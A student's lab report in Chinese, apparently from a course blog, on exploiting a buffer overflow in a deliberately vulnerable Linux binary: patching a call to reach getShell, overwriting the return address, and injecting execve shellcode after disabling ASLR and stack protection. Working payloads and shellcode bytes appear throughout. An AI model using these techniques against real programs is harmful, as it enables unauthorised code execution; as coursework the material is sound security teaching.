# 20222410 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

本周,我们深入学习了缓冲区溢出的相关知识。在课堂上,我们学习了缓冲区溢出的一些基本知识,如汇编语言以及Windows和Linux系统下的进程内存管理机制等,也看了一些缓冲区溢出攻击的实例。同时,我们也学习了与缓冲区溢出有关的技术,如Shellcode技术和缓冲区溢出防范技术。

本次实验的对象是一个名为pwn1的linux可执行文件,该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。

本次实验的具体内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
  • 注入一个自己制作的shellcode并运行这段shellcode

2.实验过程

2.1 直接修改程序机器指令,改变程序执行流程

(一)下载目标文件,反汇编(这里我将目标文件pwn1重命名为20222410)
objdump -d 20222410 | more


"call 8048491 "是汇编指令,这条指令将调用位于地址8048491处的foo函数,其对应的机器指令为“ e8 d7ffffff”

(二)修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
main函数调用foo,对应机器指令为“ e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行,算得补码为c3ffffff。

使用vi工具进入20222410文件进行修改
vi 20222410

输入":%!xxd"命令将显示模式切换为16进制模式
:%!xxd

输入命令"/e8d7"查找要修改的内容。
/e8d7在这里,我遇到了问题。参考实验指导书,我输入命令/e8d7却查不到要修改的内容,后来经过和同学讨论,我发现可以输入命令/d7ff/f0e8去查找要修改的内容,原本需要修改的内容被分成两个部分,位于两个4位16进制数中。

修改d7为c3

转换16进制为原格式并存盘退出vi

`:%!xxd -r`
`:wq`


再反汇编看一下,call指令是否正确调用getShell
objdump -d 20222410 | more

发现d7已被改为c3

运行下改后的代码,会得到shell提示符
./20222410

2.2 通过构造输入参数,造成BOF攻击,改变程序执行流

(一)反汇编,了解程序的基本功能
objdump -d 20222410 | more

我们的目标是触发这个getshell函数

(二)确认输入字符串哪几个字符会覆盖到返回地址

`gdb 20222410`
`(gdb) r`
`(gdb) info r`

此时EIP的值,是ASCII 5

`(gdb) r`
`(gdb) info r`

输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给20222410,20222410就会运行getShell。

(三)确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。

接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08

`(gdb) break *0x804849d`
`(gdb) info break`
`(gdb) r`
`(gdb) info r`

对比之前 eip 0x34333231 0x34333231 ,正确应用输入11111111222222223333333344444444\x7d\x84\x04\x08

(四)构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

使用16进制查看指令xxd查看input文件的内容是否如预期。
# xxd input

然后将input的输入,通过管道符“|”,作为20222410的输入。

`(cat input; cat) | ./20222410`
`(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat) | ./20222410`

2.3 注入Shellcode并执行

先做好准备工作

execstack -s pwn1    //设置堆栈可执行
execstack -q pwn1    //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 

构造要注入的payload

Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr。

因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。

我们采取的结构为nops+shellcode+retaddr

  • nop一为是了填充,二是作为“着陆区/滑行区”。
  • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
    perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

接下来我们来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./20222410

再开另外一个终端,用gdb来调试20222410这个进程。
ps -ef | grep 20222410

找到20222410的进程号是:23826

启动gdb调试这个进程
gdb

通过设置断点,来查看注入buf的内存地址

`(gdb) disassemble foo`
`(gdb) break *0x080484ae`

在第一个终端中按下回车

(gdb) c
(gdb) info r esp
(gdb) x/16x 0xffffd31c

这里就能看到 01020304了,0xffffcfac 即为返回地址的位置。shellcode挨着,所以地址是 0xffffcfac,再次修改构造的字符串:

`perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode`
`xxd input_shellcode`

再输入(cat input_shellcode; cat) | ./20222410,将“input_shellcode”作为20222410的输入。

成功注入shellcode,获取shell。

3.问题及解决方案

  • 问题1:在修改程序机器指令时,将20222410文件的显示形式切换为16进制模式,按照实验指导书输入命令/e8d7无法查询到对应信息

  • 问题1解决方案:改为输入命令/d7ff/f0e8可查询到,或在e8和d7中间加一个空格也能搜到,即输入/e8 d7也可。

  • 问题2:在注入Shellcode并执行的准备工作时

    输入execstack命令提示无法找到这个execstack工具包

  • 问题2解决方案:我先使用 sudo apt-get update和sudo apt-get upgrade命令更新后再进行安装execstack,显示仍然安装不成功,最终决定外部官网安装,官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb

  • 问题3:在注入Shellcode并执行的准备工作时

    想要关闭地址的随机化,提示zsh: 权限不够: /proc/sys/kernel/randomize_va_space

  • 问题3解决方案:这个错误表明我的用户账户没有足够的权限来修改这个文件,我输入命令echo "0" | sudo tee /proc/sys/kernel/randomize_va_space后成功关闭了地址的随机化。

4.学习感悟、思考等

  • 在本次实验中,我深刻体验到了理论知识与实践操作紧密结合的重要性。通过此次实践,我对Linux可执行文件的内部结构、汇编指令的机器码、反汇编技术以及十六进制编程有了更深入的理解。同时,我也了解了NOP、JNE、JE、JMP、CMP等汇编指令的机器码,这些指令在修改程序执行流程和构造攻击payload时至关重要。此外,我也学会了使用反汇编工具查看程序指令,以及运用十六进制编程器修改机器码。这些技能的提升,增强了我对程序底层结构的理解。

  • 遇到问题要多请教他人:在本次实验中,我多次遇到权限不足的问题,例如在关闭地址随机化和进行 gdb 操作时,都收到权限不足的提示。有些问题可以通过自主更新升级来解决,有些则需要下载外部资源包。例如,在执行 execstack 命令时,我花费了超过半个小时进行更新和升级,仍无法成功安装。最终在询问同学后,从外网下载了资源包,不到一分钟就解决了困难。这让我深刻体会到他人帮助的重要性。

  • 遇到问题要灵活变通:在修改程序机器指令的实验过程中,我遇到了一个难题。需要将20222410文件的显示形式切换为16进制模式,但按照实验指导书输入的命令/e8d7无法查询到对应信息。一开始,我怀疑时是我下载的文件有问题,重新下载了文件仍然查询不到。然后,我又怀疑是不是操作过程出现了错误,经过仔细检查也没发现问题。最后经过思考,我意识到可能是查询命令的使用方式有误,因为通常只能以四个十六进制为一组进行组内查询。于是,我尝试输入命令/d7ff/f0e8,最终成功查询到了所需信息。这告诉我,在实验中要灵活变通,善于思考和尝试。

参考资料

posted @ 2024-10-03 11:45  Lelouch-vi  阅读(27)  评论(1编辑  收藏  举报